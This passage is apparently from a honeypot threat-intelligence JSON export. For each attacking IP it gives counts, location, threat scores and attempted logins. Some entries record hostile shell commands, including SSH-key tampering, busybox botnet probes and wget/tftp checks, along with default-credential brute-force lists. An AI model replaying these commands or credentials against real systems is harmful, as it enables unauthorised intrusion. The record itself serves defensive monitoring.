        "first_seen_30d": "2026-04-22T14:41:26.583000+00:00",
        "last_seen_30d": "2026-04-22T14:48:02.310000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.72.8.57": {
      "attack_count": 44,
      "first_seen": "2026-04-14T16:13:06.228Z",
      "last_seen": "2026-04-14T16:17:51.802Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 151729,
      "as_org": "SWIFTIFY PRIVATE LIMITED",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T16:13:06.228000+00:00",
        "last_seen_30d": "2026-04-14T16:18:54.229000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "96.126.110.168": {
      "attack_count": 44,
      "first_seen": "2026-04-30T14:24:21.288Z",
      "last_seen": "2026-04-30T14:29:28.941Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:24:21.288000+00:00",
        "last_seen_30d": "2026-04-30T14:30:30.166000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 24
      }
    },
    "14.103.163.136": {
      "attack_count": 43,
      "first_seen": "2026-04-17T10:15:24.912Z",
      "last_seen": "2026-04-17T10:34:05.916Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456@Aa",
        "admin1234@@",
        "p0o9i8u7y6t5",
        "qwe999"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T10:15:24.912000+00:00",
        "last_seen_30d": "2026-04-17T10:44:44.030000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 27
      }
    },
    "91.192.181.35": {
      "attack_count": 40,
      "first_seen": "2026-04-28T03:27:24.165Z",
      "last_seen": "2026-04-28T03:49:37.569Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chervonohrad",
      "asn": 42501,
      "as_org": "Information Technologies private company",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T03:27:24.165000+00:00",
        "last_seen_30d": "2026-04-28T03:50:43.781000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "2.57.122.191": {
      "attack_count": 32,
      "first_seen": "2026-04-08T01:02:59.898Z",
      "last_seen": "2026-04-30T01:02:17.171Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T01:02:59.898000+00:00",
        "last_seen_30d": "2026-04-30T01:03:24.467000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "157.245.134.244": {
      "attack_count": 30,
      "first_seen": "2026-04-30T19:59:14.670Z",
      "last_seen": "2026-04-30T20:02:03.138Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:59:14.670000+00:00",
        "last_seen_30d": "2026-04-30T20:03:10.068000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "187.251.140.126": {
      "attack_count": 28,
      "first_seen": "2026-04-26T18:29:23.822Z",
      "last_seen": "2026-04-26T19:02:04.339Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tlaltetela",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:28:25.408000+00:00",
        "last_seen_30d": "2026-04-26T19:03:06.712000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "81.29.142.100": {
      "attack_count": 26,
      "first_seen": "2026-04-11T05:30:10.020Z",
      "last_seen": "2026-04-28T16:50:35.978Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5803,
        "days_active_30d": 29,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-02T19:11:55.041000+00:00",
        "last_seen_30d": "2026-04-30T16:58:41.636000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4019,
        "Honeytrap": 1500,
        "Dionaea": 69,
        "Miniprint": 66,
        "Tanner": 35,
        "Cowrie": 26,
        "Redishoneypot": 24,
        "H0neytr4p": 21,
        "Mailoney": 17,
        "Ipphoney": 16,
        "ElasticPot": 6,
        "Ciscoasa": 2,
        "ConPot": 2
      }
    },
    "178.168.9.189": {
      "attack_count": 24,
      "first_seen": "2026-04-04T08:10:59.459Z",
      "last_seen": "2026-04-04T08:11:05.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "guest"
      ],
      "passwords_attempted": [
        "12345",
        "1234qwer",
        "alpine",
        "smcadmin",
        "xc3511"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox DAOSW",
        "cat /proc/mounts; /bin/busybox DAOSW",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DAOSW",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox DAOSW",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 31252,
      "as_org": "StarNet Solutii SRL",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T08:10:59.459000+00:00",
        "last_seen_30d": "2026-04-08T00:54:09.695000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13,
        "Honeytrap": 10
      }
    },
    "205.200.179.20": {
      "attack_count": 24,
      "first_seen": "2026-04-30T07:15:59.480Z",
      "last_seen": "2026-04-30T08:28:25.070Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Winnipeg",
      "asn": 7122,
      "as_org": "Bell Canada",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:15:59.480000+00:00",
        "last_seen_30d": "2026-04-30T08:29:42.294000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 23
      }
    },
    "104.236.212.57": {
      "attack_count": 23,
      "first_seen": "2026-04-10T18:21:44.743Z",
      "last_seen": "2026-04-11T22:30:07.507Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#1234kelltech",
        "Kelltech#2025",
        "Kelltech1234$",
        "kelltech123$"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:21:44.743000+00:00",
        "last_seen_30d": "2026-04-11T22:31:15.713000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "45.95.147.229": {
      "attack_count": 21,
      "first_seen": "2026-04-13T22:27:53.470Z",
      "last_seen": "2026-04-13T22:57:49.303Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 127813,
        "days_active_30d": 13,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T13:22:28.294000+00:00",
        "last_seen_30d": "2026-04-13T23:07:07.094000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92017,
        "Honeytrap": 34897,
        "Sentrypeer": 288,
        "Mailoney": 238,
        "ConPot": 105,
        "Dionaea": 95,
        "Adbhoney": 66,
        "Miniprint": 32,
        "Redishoneypot": 24,
        "Cowrie": 21,
        "H0neytr4p": 19,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "Tanner": 3
      }
    },
    "162.240.57.187": {
      "attack_count": 20,
      "first_seen": "2026-04-10T23:00:39.577Z",
      "last_seen": "2026-04-12T07:08:41.418Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech123",
        "Kelltech@123",
        "Kelltech@2025",
        "Kelltech@2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T23:00:39.577000+00:00",
        "last_seen_30d": "2026-04-12T07:09:44.593000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "64.62.197.2": {
      "attack_count": 20,
      "first_seen": "2026-04-07T02:13:47.660Z",
      "last_seen": "2026-04-30T09:02:39.913Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 OPR/107.0.0.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 30,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T02:07:03+00:00",
        "last_seen_30d": "2026-04-30T13:25:56.214000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 150,
        "Honeytrap": 77,
        "Cowrie": 20,
        "ConPot": 2,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "108.28.182.138": {
      "attack_count": 17,
      "first_seen": "2026-04-19T12:27:50.864Z",
      "last_seen": "2026-04-19T12:28:48.481Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sterling",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T12:27:50.864000+00:00",
        "last_seen_30d": "2026-04-19T12:29:54.903000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 12,
        "Honeytrap": 2
      }
    },
    "58.136.196.188": {
      "attack_count": 17,
      "first_seen": "2026-04-04T01:08:23.979Z",
      "last_seen": "2026-04-04T01:08:36.988Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "enable",
        "sh"
      ],
      "passwords_attempted": [
        "qwerty",
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "shell",
        "system",
        "/bin/busybox BOT",
        "enable",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T01:08:23.979000+00:00",
        "last_seen_30d": "2026-04-04T01:09:37.941000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 2
      }
    },
    "24.160.172.5": {
      "attack_count": 16,
      "first_seen": "2026-04-30T14:26:56.990Z",
      "last_seen": "2026-04-30T14:37:07.043Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Franklin",
      "asn": 10796,
      "as_org": "Charter Communications Inc",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:26:56.990000+00:00",
        "last_seen_30d": "2026-04-30T21:22:14.919000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "47.226.142.156": {
      "attack_count": 16,
      "first_seen": "2026-04-29T09:07:23.251Z",
      "last_seen": "2026-04-29T09:17:26.612Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbia",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T09:07:23.251000+00:00",
        "last_seen_30d": "2026-04-29T09:18:31.648000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "45.38.41.162": {
      "attack_count": 15,
      "first_seen": "2026-04-11T07:13:14.090Z",
      "last_seen": "2026-04-11T07:13:25.286Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "monitor",
        "support",
        "user"
      ],
      "passwords_attempted": [
        "monitor",
        "support",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T07:13:14.090000+00:00",
        "last_seen_30d": "2026-04-11T07:14:33.618000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "150.95.27.197": {
      "attack_count": 13,
      "first_seen": "2026-04-10T13:36:23.275Z",
      "last_seen": "2026-04-10T17:15:33.438Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2025$kelltech",
        "kelltech.2023"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 135161,
      "as_org": "GMO-Z com NetDesign Holdings Co., Ltd.",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:36:23.275000+00:00",
        "last_seen_30d": "2026-04-10T17:16:40.065000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "160.119.76.60": {
      "attack_count": 13,
      "first_seen": "2026-04-23T19:39:07.144Z",
      "last_seen": "2026-04-23T20:00:04.376Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1447,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-23T19:28:18+00:00",
        "last_seen_30d": "2026-04-23T20:15:46.256000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 947,
        "Honeytrap": 401,
        "Dionaea": 27,
        "Miniprint": 16,
        "Cowrie": 13,
        "Redishoneypot": 8,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Tanner": 5,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "43.161.230.246": {
      "attack_count": 13,
      "first_seen": "2026-04-26T05:38:25.771Z",
      "last_seen": "2026-04-26T05:38:35.895Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "Aa123456",
        "NULvCVHf6o",
        "password"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-26T05:38:09.302000+00:00",
        "last_seen_30d": "2026-04-26T05:40:18.763000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "115.190.162.240": {
      "attack_count": 10,
      "first_seen": "2026-04-24T21:43:06.269Z",
      "last_seen": "2026-04-24T22:06:00.535Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "deploy",
        "root"
      ],
      "passwords_attempted": [
        "2026",
        "root4321!!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T21:43:06.269000+00:00",
        "last_seen_30d": "2026-04-24T22:07:05.096000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "91.98.119.200": {
      "attack_count": 10,
      "first_seen": "2026-04-30T16:44:18.726Z",
      "last_seen": "2026-04-30T16:44:52.717Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
